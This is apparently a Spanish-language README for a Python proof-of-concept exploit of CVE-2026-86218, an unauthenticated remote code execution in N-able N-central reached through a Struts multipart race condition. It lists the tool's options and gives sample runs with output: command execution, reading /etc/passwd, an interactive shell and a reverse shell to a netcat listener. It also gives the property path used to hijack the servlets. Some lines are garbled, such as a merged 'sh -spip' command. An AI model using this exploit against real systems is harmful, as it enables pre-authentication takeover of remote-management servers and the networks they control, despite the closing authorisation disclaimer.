
Prueba de concepto en Python 3 para CVE-2026-86218, un RCE pre-auth en N-able N-central mediante una condición de carrera multipart de Struts, con ejecución de comandos y soporte para reverse shell.
Este es un exploit de prueba de concepto en Python 3 para CVE-2026-86218, una vulnerabilidad crítica de ejecución remota de código previa a la autenticación en N-able N-central.
Detalles de la vulnerabilidad:
N-able N-central utiliza un formulario Struts con ámbito de sesión en una acción no autenticada (/remoteControlAction.do). Dos solicitudes multipart concurrentes pueden provocar una condición de carrera en el manejador multipart del formulario y exponer la configuración activa de Jetty a la población de propiedades de Commons BeanUtils. Esto permite a un atacante:
/bin/sh -spip install requests
python3 CVE-2026-86218.py -t <target_url> [options]
| Opción | Descripción |
|---|---|
-t, --target | URL de N-central objetivo (por ejemplo, https://192.168.1.100) |
-c, --command | Comando único a ejecutar |
-i, --interactive | Modo de comando interactivo |
--lhost | IP del listener para reverse shell |
--lport | Puerto del listener (predeterminado: 4444) |
--servlet | Servlet a reemplazar: LogRetrieval, FileTransfer, AutomationManagerDownloadServlet |
--check | Comprobar si el objetivo es vulnerable |
--no-verify-ssl | Deshabilitar la verificación del certificado SSL |
--timeout | Tiempo de espera de la solicitud (predeterminado: 30s) |
--race-delay | Retardo de la condición de carrera (predeterminado: 0.35s) |
-v, --verbose | Habilitar salida detallada |
python3 CVE-2026-86218.py -t https://192.168.1.100 --check --no-verify-ssl
Salida esperada:
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --no-verify-ssl
Salida esperada:
╔══════════════════════════════════════════════════════════════════╗
║ CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit ║
║ Version: 1.0.0 ║
║ CVSS: 10.0 (Critical) ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[*] Establishing connection for race condition...
[*] Sending helper request to install handler...
[*] Sending mutation fields...
[+] Race condition completed successfully
[*] Executing command: id
[+] Command executed successfully
uid=998(nable) gid=998(nable) groups=998(nable)
Iniciar el listener primero:
nc -lvnp 4444
Ejecutar el exploit:
python3 CVE-2026-86218.py -t https://192.168.1.100 --lhost 10.10.14.5 --lport 4444 --no-verify-ssl
Salida esperada:
[*] Preparing reverse shell to 10.10.14.5:4444
[!] Starting reverse shell...
[!] Make sure to have a listener running: nc -lvnp 4444
[+] Reverse shell payload sent successfully!
[+] Check your listener for incoming connection
Salida del listener:
listening on [any] 4444 ...
connect to [10.10.14.5] from (UNKNOWN) [192.168.1.100] 49234
id
uid=998(nable) gid=998(nable) groups=998(nable)
python3 CVE-2026-86218.py -t https://192.168.1.100 -i --no-verify-ssl
Sesión interactiva:
╔══════════════════════════════════════════════════════════════════╗
║ CVE-2026-86218 - N-able N-central Pre-Auth RCE Exploit ║
║ Version: 1.0.0 ║
║ CVSS: 10.0 (Critical) ║
╚══════════════════════════════════════════════════════════════════╝
[*] Checking target version at https://192.168.1.100
[+] N-central 2026.3.1.13 is vulnerable
[*] Obtaining unauthenticated session...
[*] Performing multipart race condition...
[+] Race condition completed successfully
[*] Entering interactive command mode
[*] Type 'exit' or 'quit' to leave
[*] Type 'shell' for reverse shell setup
ncentral> id
uid=998(nable) gid=998(nable) groups=998(nable)
ncentral> cat /etc/passwd | head -5
root:x:0:0:root:/root:/bin/bash
bin:x:1:1:bin:/bin:/sbin/nologin
...
ncentral> shell
Listener IP: 10.10.14.5
Listener Port: 4444
[*] Preparing reverse shell to 10.10.14.5:4444
[+] Reverse shell payload sent successfully!
ncentral> exit
# Use FileTransfer servlet (more disruptive)
python3 CVE-2026-86218.py -t https://192.168.1.100 -c "id" --servlet FileTransfer --no-verify-ssl
| Servlet | Descripción | Impacto |
|---|---|---|
LogRetrieval | Endpoint de recuperación de logs (predeterminado) | Menos disruptivo, logs no disponibles hasta el reinicio |
FileTransfer | Endpoint de transferencia de archivos | Interrumpe la funcionalidad de transferencia de archivos |
AutomationManagerDownloadServlet | Descarga del gestor de automatización | Requiere el puerto de la interfaz de gestión (8443) |
/remoteControlAction.do para extraer la versión de la página de errorLa vulnerabilidad explota una condición de carrera en el manejo de formularios multipart de Struts:
Los campos de mutación utilizan rutas de propiedades JavaBean:
multipartRequestHandler.servlet.servletContext.classLoader.context.servletHandler.servlet(LogRetrieval).heldClass
Esto recorre: manejador multipart → contexto del servlet → classloader → WebAppContext → manejador de servlets → contenedor específico
/remoteControlAction.doEste exploit se proporciona únicamente para pruebas de seguridad autorizadas y fines educativos. El uso no autorizado de este exploit contra sistemas que no posee o para los que no tiene permiso de prueba es ilegal y poco ético.
Obtenga siempre la autorización adecuada antes de realizar actividades de pruebas de penetración.